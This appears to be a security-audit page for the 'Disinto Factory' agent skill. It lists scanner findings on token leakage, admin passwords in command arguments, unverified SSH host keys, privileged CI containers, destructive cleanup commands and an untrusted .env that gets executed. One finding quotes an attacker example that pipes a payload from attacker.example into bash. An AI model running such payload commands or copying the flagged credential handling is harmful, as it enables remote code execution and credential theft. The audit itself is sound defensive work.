Back to skill

Security audit

Disinto Factory

Security checks for vulnerabilities and agentic risk

Overview

This skill is for running an autonomous code factory, but it includes high-impact credential, container, and destructive recovery operations without enough guardrails.

Install only if you understand that this skill can guide an agent through high-impact factory administration. Keep it on an isolated host or container, avoid running it against untrusted factory directories, review commands before execution, do not paste real passwords into command lines, rotate any tokens exposed in logs or Git remotes, and avoid privileged/host-network CI workers unless you have explicitly accepted that risk.

Vulnerability Patterns
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (8)

T09 · Insecure Skill Coding Practices

Warning
Location
SKILL.md:61
Finding

Woodpecker authentication token is printed during verification

Content
View full analysis
` entry. 3. The token is stored in a transcript, terminal log, or other observable output. 4. A user or process with access to that output extracts the token. 5. The exposed credential is used to access the Woodpecker CI service with the token owner's privileges. ### Impact Assessment An attacker may obtain authenticated access to the local Woodpecker service. The precise scope depends on the token's permissions, but it may expose repository metadata, build history, pipeline details, or CI operations available to the associated account. ]]>
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
scripts/factory-status.sh:7
Finding

Forgejo token can be transmitted to an attacker-controlled endpoint

Content
View full analysis
/dev/null || { echo "No .env found at ${FACTORY_ROOT}"; exit 1; } FORGE_URL="${FORGE_URL:-http://localhost:3000}" REPO=$(grep '^repo ' "${FACTORY_ROOT}/projects/"*.toml 2>/dev/null | head -1 | sed 's/.*= *"//;s/"//') [ -z "$REPO" ] && { echo "No project TOML found"; exit 1; } echo "=== Stack ===" docker ps --format "table {{.Names}}\t{{.Status}}" 2>/dev/null | grep disinto echo "" echo "=== Open Issues ===" curl -sf "${FORGE_URL}/api/v1/repos/${REPO}/issues?state=open&limit=20" \ -H "Authorization: token ${FORGE_TOKEN}" \ ``` The same pattern is repeated for pull requests: ```bash curl -sf "${FORGE_URL}/api/v1/repos/${REPO}/pulls?state=open&limit=10" \ -H "Authorization: token ${FORGE_TOKEN}" \ ``` ### Technical Analysis `FORGE_URL` is loaded from a caller-selected factory directory and used as the destination for an HTTP request containing `FORGE_TOKEN`. The script does not validate the URL's scheme, hostname, port, or relationship to the intended local Forgejo instance. A malicious or compromised `.env` can consequently redirect the authenticated requests to an attacker-controlled server. The script also accepts cleartext HTTP, allowing interception where traffic traverses an untrusted network. ### Attack Path 1. An attacker provides or modifies a purported factory directory. 2. Its `.env` sets `FORGE_URL` to an attacker-controlled HTTP or HTTPS endpoint and includes or inherits a valid `FORGE_TOKEN`. 3. The victim runs `factory-status.sh `. 4. The status request sends `Authorization: token ` to the configured endpoint. 5. The attacker records the header and reuses the token against the real Forgejo service. A related scenario occurs if a legitimate `.env` is modified after i ...[truncated 372 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
scripts/factory-status.sh:4
Finding

Caller-selected environment file is executed as shell code

Content
View full analysis
/dev/null || { echo "No .env found at ${FACTORY_ROOT}"; exit 1; } ``` ### Technical Analysis Bash `source` interprets the entire `.env` file as executable shell syntax. It does not restrict content to simple key-value assignments. Command substitutions, function definitions, redirections, pipelines, and arbitrary commands are all executed with the invoking user's privileges. Because `FACTORY_ROOT` is accepted as a positional argument, the user can be induced to run the status script against an untrusted checkout or directory. This turns a status operation into an arbitrary code-execution boundary. ### Attack Path 1. An attacker creates a directory containing a malicious `.env`, for example: ```bash FORGE_TOKEN=dummy curl https://attacker.example/payload.sh | bash ``` 2. The attacker presents the directory as a Disinto factory or asks the victim to diagnose it. 3. The victim runs: ```bash scripts/factory-status.sh /path/to/untrusted/factory ``` 4. Bash executes every command in the malicious `.env` before performing status checks. 5. The payload runs with all filesystem, network, Docker, and account privileges available to the victim. ### Impact Assessment This can result in arbitrary code execution as the invoking user. If that user can access the Docker daemon, the effective impact may extend to container control and potentially host-level compromise. The payload can also steal factory credentials, source code, SSH material, and other user-accessible data. ]]>
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
SKILL.md:75
Finding

Forgejo bot token is embedded in a cleartext clone URL

Content
View full analysis
/.git /home/agent/repos/" ``` ### Technical Analysis The Forgejo token is expanded into the Git remote URL. During execution, it may be visible in process command lines inside the container, diagnostics, error output, shell tracing, or logs. Git may also persist the credential-bearing URL in `.git/config` as the `origin` remote. The URL uses cleartext HTTP. Although `forgejo` appears to be an internal Docker service, plaintext transport still exposes the credential to any component capable of observing or redirecting traffic on that network. ### Attack Path 1. The operator follows the missing-repository recovery procedure. 2. `${FORGE_TOKEN}` is expanded into the `git clone` URL. 3. A process observer, diagnostic collector, compromised container, or later reader of `.git/config` captures the credential-bearing URL. 4. The attacker extracts the token. 5. The token is reused against Forgejo with `dev-bot` privileges. ### Impact Assessment The attacker obtains the permissions of `dev-bot`. These may include repository read or write access and the ability to submit code that enters the autonomous review and CI workflow. The exact scope depends on Forgejo token permissions and repository configuration. ]]>
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
SKILL.md:192
Finding

Administrative password is passed through process arguments

Content
View full analysis
--must-change-password=false" git ``` ``` ### Technical Analysis The new administrator password is supplied directly as part of a command-line argument. Depending on operating-system and container process visibility, it may be exposed through process listings, audit records, command histories, Docker diagnostics, terminal capture, or Agent transcripts. This is especially sensitive because the affected account is explicitly an administrator account. ### Attack Path 1. An operator substitutes a real password for `` and runs the documented command. 2. The password appears in the local command history and in the argument strings used by `docker exec`, `su`, and the Forgejo command. 3. Another local user, monitoring process, diagnostic tool, or transcript reader obtains the password. 4. The attacker authenticates as `disinto-admin`. ### Impact Assessment Compromise of the Forgejo administrator account can grant broad control over users, repositories, tokens, webhooks, and server-level Forgejo configuration. It may also allow an attacker to modify code consumed by the autonomous factory. ]]>
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
references/troubleshooting.md:41
Finding

Forgejo administrator password is embedded in curl arguments

Content
View full analysis
" "http://localhost:3000/api/v1/repos///hooks" | jq '.[].config.url' ``` ``` ### Technical Analysis The documented `curl -u` invocation places the administrator username and password in the command's argument vector. The substituted password can be exposed through shell history, process inspection, audit systems, debugging output, or Agent transcripts. Although the endpoint is loopback, the primary weakness is local secret exposure through argv. The use of HTTP also provides no transport encryption if the hostname is later changed or the command is adapted for a non-loopback endpoint. ### Attack Path 1. The operator substitutes the real Forgejo administrator password. 2. The shell stores the complete command in history or exposes it to process-monitoring facilities. 3. An attacker with access to those records retrieves the password. 4. The attacker logs into Forgejo as the administrator and modifies repositories, users, or automation settings. ### Impact Assessment The exposed credential may provide full Forgejo administrative access. This can affect every repository and bot account managed by the instance and can undermine the integrity of the autonomous development workflow. ]]>
Remediation
View remediation
//hooks" | jq '.[].config.url' ``` Curl will prompt for the password. Alternatively, use a narrowly scoped API token loaded from a protected secret source. Avoid administrator credentials for a read-only webhook check and use HTTPS for any non-loopback endpoint. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
SKILL.md:93
Finding

SSH host keys are trusted and persisted without fingerprint verification

Content
View full analysis
> ~/.ssh/known_hosts 2>/dev/null` ``` ### Technical Analysis `ssh-keyscan` retrieves whichever host key is presented over the current network connection, but it does not authenticate that key. Appending the result directly to `~/.ssh/known_hosts` creates persistent trust without comparing fingerprints against an independently trusted source. The SSH operations are relevant to the declared optional repository-mirroring functionality. However, unauthenticated enrollment is not necessary and weakens the security of future mirror pushes. ### Attack Path 1. An attacker controls or intercepts DNS or network traffic when setup is performed. 2. The attacker answers `ssh-keyscan` with a forged SSH host key. 3. The forged key is appended to the user's persistent `known_hosts`. 4. A later mirror connection accepts the attacker's SSH server as GitHub or Codeberg. 5. The attacker can intercept repository traffic and potentially capture authentication attempts or manipulate mirror interactions. ### Impact Assessment The forged trust entry persists across sessions for the affected user. It can undermine the confidentiality and integrity of future SSH mirror operations and may expose private repository content or enable repository destination spoofing. ]]>
Remediation
View remediation

T05 · Unauthorized Access and Privilege Escalation

Error
Location
references/troubleshooting.md:18
Finding

CI agent is configured with privileged mode and host networking

Content
View full analysis
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • Rogue AgentSelf-Modification, Session Persistence
Findings (18)

Credential Access

High
Category
Privilege Escalation
Confidence
88% confidence
Finding

The git clone command places the Forge token directly in the repository URL on the command line inside the container. Secrets passed this way may be exposed through process listings, shell history, logs, crash dumps, or debug output, making credential compromise more likely.

Content

Scanner excerpt · SKILL.md (reported line 76)May include surrounding context.

If the agent repo is missing, clone it:

bash
docker exec disinto-agents-1 chown -R agent:agent /home/agent/repos
docker exec -u agent disinto-agents-1 bash -c "source /home/agent/disinto/.env && git clone http://dev-bot:\${FORGE_TOKEN}@forgejo:3000/<org>/<repo>.git /home/agent/repos/<name>"

4. Mirrors (optional)

Credential Access

High
Category
Privilege Escalation
Confidence
90% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 87)May include surrounding context.

Show the user their public key:

bash
cat ~/.ssh/id_ed25519.pub

Test SSH access:

Credential Access

High
Category
Privilege Escalation
Confidence
90% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 95)May include surrounding context.

ssh -T git@github.com 2>&1; ssh -T git@codeberg.org 2>&1

text

If SSH host keys are missing: `ssh-keyscan github.com codeberg.org >> ~/.ssh/known_hosts 2>/dev/null`

Edit `projects/<name>.toml` to add mirrors:
```toml

Credential Access

High
Category
Privilege Escalation
Confidence
83% confidence
Finding

The CI-check workflow uses WOODPECKER_TOKEN as a session cookie directly in curl commands, which can expose the token in shell history, process arguments, and diagnostic tooling. Session-style tokens are especially sensitive because they may grant broad web UI/API access if recovered.

Content

Scanner excerpt · SKILL.md (reported line 177)May include surrounding context.

Check CI

bash
source .env
WP_CSRF=$(curl -sf -b "user_sess=$WOODPECKER_TOKEN" http://localhost:8000/web-config.js \
  | sed -n 's/.*WOODPECKER_CSRF = "\([^"]*\)".*/\1/p')
curl -sf -b "user_sess=$WOODPECKER_TOKEN" -H "X-CSRF-Token: $WP_CSRF" \

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
91% confidence
Finding

The rm -f command deletes files inside a container using wildcard patterns without a verification step, making it easy to remove the wrong artifacts if naming assumptions change or if the command is adapted unsafely. In troubleshooting contexts, deleting lock/state files can also corrupt agent behavior or erase evidence needed to understand failures.

Content

Scanner excerpt · SKILL.md (reported line 190)May include surrounding context.

md
When a dev-agent run fails (CI timeout, implementation error), the issue gets labeled `blocked`:

1. Close stale PR and delete the branch
2. `docker exec disinto-agents-1 rm -f /tmp/dev-agent-*.json /tmp/dev-agent-*.lock`
3. Relabel the issue to `backlog`
4. Update agent repo: `docker exec -u agent disinto-agents-1 bash -c "cd /home/agent/repos/<name> && git fetch origin && git reset --hard origin/main"`

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
96% confidence
Finding

git reset --hard origin/main forcibly discards all uncommitted local changes in the target repository. In an agent-driven development environment, that can wipe active work, destroy debugging context, and cause irreversible data loss if executed against the wrong repo or branch.

Content

Scanner excerpt · SKILL.md (reported line 192)May include surrounding context.

md
1. Close stale PR and delete the branch
2. `docker exec disinto-agents-1 rm -f /tmp/dev-agent-*.json /tmp/dev-agent-*.lock`
3. Relabel the issue to `backlog`
4. Update agent repo: `docker exec -u agent disinto-agents-1 bash -c "cd /home/agent/repos/<name> && git fetch origin && git reset --hard origin/main"`

### Access Forgejo UI

Privileged Kubernetes Workload

High
Category
Tool Misuse
Confidence
95% confidence
Finding

The troubleshooting guidance explicitly recommends running the CI agent with privileged: true and network_mode: host, which significantly weakens container isolation. If the agent or a CI job is compromised, an attacker could gain broad access to the host, interact with host networking directly, and potentially achieve full container escape or lateral movement.

Content

Scanner excerpt · references/troubleshooting.md (reported line 21)May include surrounding context.

md
## WP CI agent won't connect (DeadlineExceeded)

gRPC over Docker bridge fails in LXD (and possibly other nested container environments).
The compose template uses `network_mode: host` + `privileged: true` for the agent.
If you see this error, check:
- Server exposes port 9000: `grep "9000:9000" docker-compose.yml`
- Agent uses `localhost:9000`: `grep "WOODPECKER_SERVER" docker-compose.yml`

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 61)May include surrounding context.

md
set -euo pipefail

FACTORY_ROOT="${1:-$(cd "$(dirname "$0")/../.." && pwd)}"
source "${FACTORY_ROOT}/.env" 2>/dev/null || { echo "No .env found at ${FACTORY_ROOT}"; exit 1; }

FORGE_URL="${FORGE_URL:-http://localhost:3000}"
REPO=$(grep '^repo ' "${FACTORY_ROOT}/projects/"*.toml 2>/dev/null | head -1 | sed 's/.*= *"//;s/"//')

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 67)May include surrounding context.

md
set -euo pipefail

FACTORY_ROOT="${1:-$(cd "$(dirname "$0")/../.." && pwd)}"
source "${FACTORY_ROOT}/.env" 2>/dev/null || { echo "No .env found at ${FACTORY_ROOT}"; exit 1; }

FORGE_URL="${FORGE_URL:-http://localhost:3000}"
REPO=$(grep '^repo ' "${FACTORY_ROOT}/projects/"*.toml 2>/dev/null | head -1 | sed 's/.*= *"//;s/"//')

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 106)May include surrounding context.

md
set -euo pipefail

FACTORY_ROOT="${1:-$(cd "$(dirname "$0")/../.." && pwd)}"
source "${FACTORY_ROOT}/.env" 2>/dev/null || { echo "No .env found at ${FACTORY_ROOT}"; exit 1; }

FORGE_URL="${FORGE_URL:-http://localhost:3000}"
REPO=$(grep '^repo ' "${FACTORY_ROOT}/projects/"*.toml 2>/dev/null | head -1 | sed 's/.*= *"//;s/"//')

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 119)May include surrounding context.

md
set -euo pipefail

FACTORY_ROOT="${1:-$(cd "$(dirname "$0")/../.." && pwd)}"
source "${FACTORY_ROOT}/.env" 2>/dev/null || { echo "No .env found at ${FACTORY_ROOT}"; exit 1; }

FORGE_URL="${FORGE_URL:-http://localhost:3000}"
REPO=$(grep '^repo ' "${FACTORY_ROOT}/projects/"*.toml 2>/dev/null | head -1 | sed 's/.*= *"//;s/"//')

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 158)May include surrounding context.

md
set -euo pipefail

FACTORY_ROOT="${1:-$(cd "$(dirname "$0")/../.." && pwd)}"
source "${FACTORY_ROOT}/.env" 2>/dev/null || { echo "No .env found at ${FACTORY_ROOT}"; exit 1; }

FORGE_URL="${FORGE_URL:-http://localhost:3000}"
REPO=$(grep '^repo ' "${FACTORY_ROOT}/projects/"*.toml 2>/dev/null | head -1 | sed 's/.*= *"//;s/"//')

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/factory-status.sh (reported line 6)May include surrounding context.

sh
set -euo pipefail

FACTORY_ROOT="${1:-$(cd "$(dirname "$0")/../.." && pwd)}"
source "${FACTORY_ROOT}/.env" 2>/dev/null || { echo "No .env found at ${FACTORY_ROOT}"; exit 1; }

FORGE_URL="${FORGE_URL:-http://localhost:3000}"
REPO=$(grep '^repo ' "${FACTORY_ROOT}/projects/"*.toml 2>/dev/null | head -1 | sed 's/.*= *"//;s/"//')

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/factory-status.sh (reported line 6)May include surrounding context.

sh
set -euo pipefail

FACTORY_ROOT="${1:-$(cd "$(dirname "$0")/../.." && pwd)}"
source "${FACTORY_ROOT}/.env" 2>/dev/null || { echo "No .env found at ${FACTORY_ROOT}"; exit 1; }

FORGE_URL="${FORGE_URL:-http://localhost:3000}"
REPO=$(grep '^repo ' "${FACTORY_ROOT}/projects/"*.toml 2>/dev/null | head -1 | sed 's/.*= *"//;s/"//')

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
95% confidence
Finding

The skill clearly instructs the operator to run many shell commands, including Docker, Git, curl, SSH, and reset/delete operations, but declares no tool restrictions or permission scope. In an agent setting, that omission increases the chance that high-impact commands are executed without explicit gating or user confirmation.

Content

No source excerpt is available for this finding.

Session Persistence

Medium
Category
Rogue Agent
Confidence
85% confidence
Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · SKILL.md (reported line 64)May include surrounding context.

md
grep WOODPECKER_TOKEN .env | grep -v "^$" && echo "OK" || echo "MISSING — see references/troubleshooting.md"

# Agent cron active?
docker exec -u agent disinto-agents-1 crontab -l -u agent

# Agent can reach Forgejo?
docker exec disinto-agents-1 bash -c "source /home/agent/disinto/.env && curl -sf http://forgejo:3000/api/v1/version | jq .version"

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 123)May include surrounding context.

md
BACKLOG_ID=$(curl -sf "http://localhost:3000/api/v1/repos/<org>/<repo>/labels" \
  -H "Authorization: token $FORGE_TOKEN" | jq -r '.[] | select(.name=="backlog") | .id')

curl -sf -X POST "http://localhost:3000/api/v1/repos/<org>/<repo>/issues" \
  -H "Authorization: token $FORGE_TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"title\": \"<title>\", \"body\": \"<body>\", \"labels\": [$BACKLOG_ID]}"

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The skill includes destructive cleanup steps like deleting temporary files, deleting branches, and hard-resetting a repository, but provides no warning about data loss or validation that the target paths and repo are correct. In an autonomous or semi-autonomous workflow, these commands can destroy in-progress work or erase forensic/debugging artifacts needed to diagnose failures.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.